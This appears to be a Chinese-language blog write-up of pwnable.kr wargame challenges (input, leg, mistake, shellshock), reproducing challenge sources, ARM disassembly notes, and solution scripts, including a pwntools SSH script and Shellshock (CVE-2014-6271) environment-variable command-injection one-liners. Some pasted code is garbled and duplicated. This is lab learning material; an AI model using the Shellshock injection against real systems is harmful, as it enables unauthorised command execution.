pwnable.kr (三) 7-10

0x01   input

这题信息量有点大,主要是对各种输入的考查。这里有些也不懂orz

source code

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}
View Code

 

Full exploit code:

//source address:blog.csdn.net/smalosnail/article/details/53048109
import *
import os
import socket
import timestdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()# stage1 arg
args = list("A" * 99)
args[ord('A') - 1] = ""
args[ord('B') - 1] = "\x20\x0a\x0d"
args[ord('C') - 1] = "8888"#stage2 std io
os.write(stdinw, "\x00\x0a\x00\xff")
os.write(stderrw, "\x00\x0a\x02\xff")#stage3 env
environ = {"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}#satge4 file o
f = open("\x0a", "wb")
f.write("\x00"*4)
f.close()#satge5 network io
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)proc = Popen(["/home/input2/input"] + args, stdin=stdinr, stderr=stderrr, env=environ)time.sleep(2)
s.connect(("127.0.0.1", 8888))
s.send("\xde\xad\xbe\xef")
s.close()
exp

因为本题存在套接字需要将脚本上传至服务器:

用户权限:

如何将脚本放入服务器。

在home目录下用户没有w权限,因此要找别的路径。

发现在tmp目录下访客可以进行w,上传脚本。

 

但是并没卵用。。。没有r的权限。

 

因此在tmp目录创建文件夹,将脚本放入新建文件夹。

 

mark:套接字部分还不太懂,回头再看。

 

 

 0x02   leg

 

source code

leg.c

#include <stdio.h>

#include <fcntl.h>

int key1(){

asm("mov r3, pc\n");#这是内嵌汇编,就是说C源程序中插入 mov r3, pc\n 这条汇编指令。

}

int key2(){

asm(

"push {r6}\n"

"add r6, pc, $1\n"

"bx r6\n"

".code   16\n"

"mov r3, pc\n"

"add r3, $0x4\n"

"push {r3}\n"

"pop {pc}\n"

".code 32\n"

"pop {r6}\n"

);

}

int key3(){

asm("mov r3, lr\n");

}

int main(){

int key=0;

printf("Daddy has very strong arm! : ");

 

if( (key1()+key2()+key3()) == key ){

printf("Congratz!\n");

int fd = open("flag", O_RDONLY);

char buf[100];

int r = read(fd, buf, 100);

write(0, buf, r);

}

else{

printf("I have strong leg :P\n");

}

return 0;

}
View Code

 

leg.asm

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:    push    {r4, r11, lr}
   0x00008d40 <+4>:    add    r11, sp, #8
   0x00008d44 <+8>:    sub    sp, sp, #12
   0x00008d48 <+12>:    mov    r3, #0
   0x00008d4c <+16>:    str    r3, [r11, #-16]
   0x00008d50 <+20>:    ldr    r0, [pc, #104]    ; 0x8dc0 <main+132>
   0x00008d54 <+24>:    bl    0xfb6c <printf>                                #调用printf函数
   0x00008d58 <+28>:    sub    r3, r11, #16
   0x00008d5c <+32>:    ldr    r0, [pc, #96]    ; 0x8dc4 <main+136>
   0x00008d60 <+36>:    mov    r1, r3
   0x00008d64 <+40>:    bl    0xfbd8 <__isoc99_scanf>                    #调用__isoc99_scanf函数
   0x00008d68 <+44>:    bl    0x8cd4 <key1>                            #调用key1函数
   0x00008d6c <+48>:    mov    r4, r0                                    #r0=0x8ce4
   0x00008d70 <+52>:    bl    0x8cf0 <key2>                                #调用key2函数
   0x00008d74 <+56>:    mov    r3, r0                                    #r0=0x8d0c
   0x00008d78 <+60>:    add    r4, r4, r3
   0x00008d7c <+64>:    bl    0x8d20 <key3>                            #调用key3函数
   0x00008d80 <+68>:    mov    r3, r0                                    #r0=lr=0x8d80
   0x00008d84 <+72>:    add    r2, r4, r3                                    #key1()+key2()+key3()
   0x00008d88 <+76>:    ldr    r3, [r11, #-16]                                #scanf("%d", &key);
   0x00008d8c <+80>:    cmp    r2, r3                                    #if    
   0x00008d90 <+84>:    bne    0x8da8 <main+108>
   0x00008d94 <+88>:    ldr    r0, [pc, #44]    ; 0x8dc8 <main+140>
   0x00008d98 <+92>:    bl    0x1050c <puts>                            #printf("I have strong leg :P\n");
   0x00008d9c <+96>:    ldr    r0, [pc, #40]    ; 0x8dcc <main+144>
   0x00008da0 <+100>:    bl    0xf89c <system>                                
   0x00008da4 <+104>:    b    0x8db0 <main+116>
   0x00008da8 <+108>:    ldr    r0, [pc, #32]    ; 0x8dd0 <main+148>
   0x00008dac <+112>:    bl    0x1050c <puts>                            #printf("Congratz!\n");
   0x00008db0 <+116>:    mov    r3, #0
   0x00008db4 <+120>:    mov    r0, r3
   0x00008db8 <+124>:    sub    sp, r11, #8
   0x00008dbc <+128>:    pop    {r4, r11, pc}
   0x00008dc0 <+132>:    andeq    r10, r6, r12, lsl #9
   0x00008dc4 <+136>:    andeq    r10, r6, r12, lsr #9
   0x00008dc8 <+140>:            ; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:            ; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:    andeq    r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:    add    r11, sp, #0
   0x00008cdc <+8>:    mov    r3, pc                                    #插入的内嵌汇编//r3 = pc
   0x00008ce0 <+12>:    mov    r0, r3                                    #r0=r3//r0=r3=pc//arm中程序计数器pc指向下两条指令的地址//r0 = pc = 0x8cdc + 0x8
   0x00008ce4 <+16>:    sub    sp, r11, #0                                #sp=sp-r11                    
   0x00008ce8 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)        #r11出栈
   0x00008cec <+24>:    bx    lr    
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:    add    r11, sp, #0
   0x00008cf8 <+8>:    push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add    r6, pc, #1                                    #r6=r6+pc+1
   0x00008d00 <+16>:    bx    r6                                        
   0x00008d04 <+20>:    mov    r3, pc                                    #r3=pc
   0x00008d06 <+22>:    adds    r3, #4                                    #CPSR=r3+4//此处不对r3的值进行修改//CPSR:程序状态寄存器
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop    {pc}                                    
   0x00008d0c <+28>:    pop    {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov    r0, r3                                    #r0=r3//r0=pc=0x8d04+0x8
   0x00008d14 <+36>:    sub    sp, r11, #0                                #sp=sp-r11
   0x00008d18 <+40>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx    lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:    add    r11, sp, #0
   0x00008d28 <+8>:    mov    r3, lr                                        #r3=lr//lr连接寄存器,当程序通过BL或BLX指令调用子程序时,R14被设置成该子程序的返回地址
   0x00008d2c <+12>:    mov    r0, r3                                    #r0=r3=lr
   0x00008d30 <+16>:    sub    sp, r11, #0                                #sp=sp-r11
   0x00008d34 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx    lr
End of assembler dump.
(gdb) 
View Code

具体分析都在文件里了。

key=r0(key1)+r0(key2)+r0(key3)=108400d

 

 

 

 0x03   mistake:

 source code

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){                
        s[i] ^= XORKEY;                                        //与1进行异或操作
    }
}

int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){        //运算符优先级<大于=
//如果open()成功打开文件,将返回一个正整数,这个数小于0必然不成立,所以这个判断语句返回的结果是False也就是0,之后再执行赋值语句
//fd = 0
        printf("can't open password %d\n", fd);
        return 0;
    }

    printf("do not bruteforce...\n");
    sleep(time(0)%20);    

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){        
        printf("read error\n");
        close(fd);
        return 0;        
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    // xor your input
    xor(pw_buf2, 10) ;

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }

    close(fd);
    return 0;
}
View Code

 

full exploit code

from pwn import *
from time import sleep    

s = ssh(host='pwnable.kr',
    user='mistake',
    password='guest',
    port=2222
    )
p =s.process('./mistake')

pw_buf ='A'*10
pw_buf2 = ""
for x in  pw_buf:
    pw_buf2 += chr(ord(x)^1)
p.sendline(pw_buf)    
sleep(20)
p.read()
p.sendline(pw_buf2)
p.interactive()
View Code

 

 

0x04   Shellshock

Shellshock当时不知道什么东西,百度一下。

看来是个漏洞,去乌云知识库看看。

CVE-2014-6271漏洞:

http://cb.drops.wiki/drops/papers-3268.htmlShellshock漏洞回顾与分析测试》:

大概的漏洞说明如下图:

 

 漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令:

 env a='() { :;}; echo vulnerable' bash -c "echo this is a test"

 

linuxUnix系统的bash的版本小于4.3时在本地可以得到输出:Vulnerable this is a test

即此处echo vulnerable可执行任意代码

此处env val=' () { :;};为执行环境

bash在处理含有函数定义诸如"() { :; }"的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行

 

source code

 

 

#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

 

用户权限:

在源代码中的:system("/home/shellshock/bash -c 'echo shock_me'");

调用可bash文件用户的权限从shellshock_pwn提升到shellshock可以执行cat flag命令

 full exploit code

 $ env a='() { :;}; bash -c "cat flag"' ./shellshock

 

 

posted @ 2017-08-16 00:21  1ey  阅读(140)  评论(0)    收藏  举报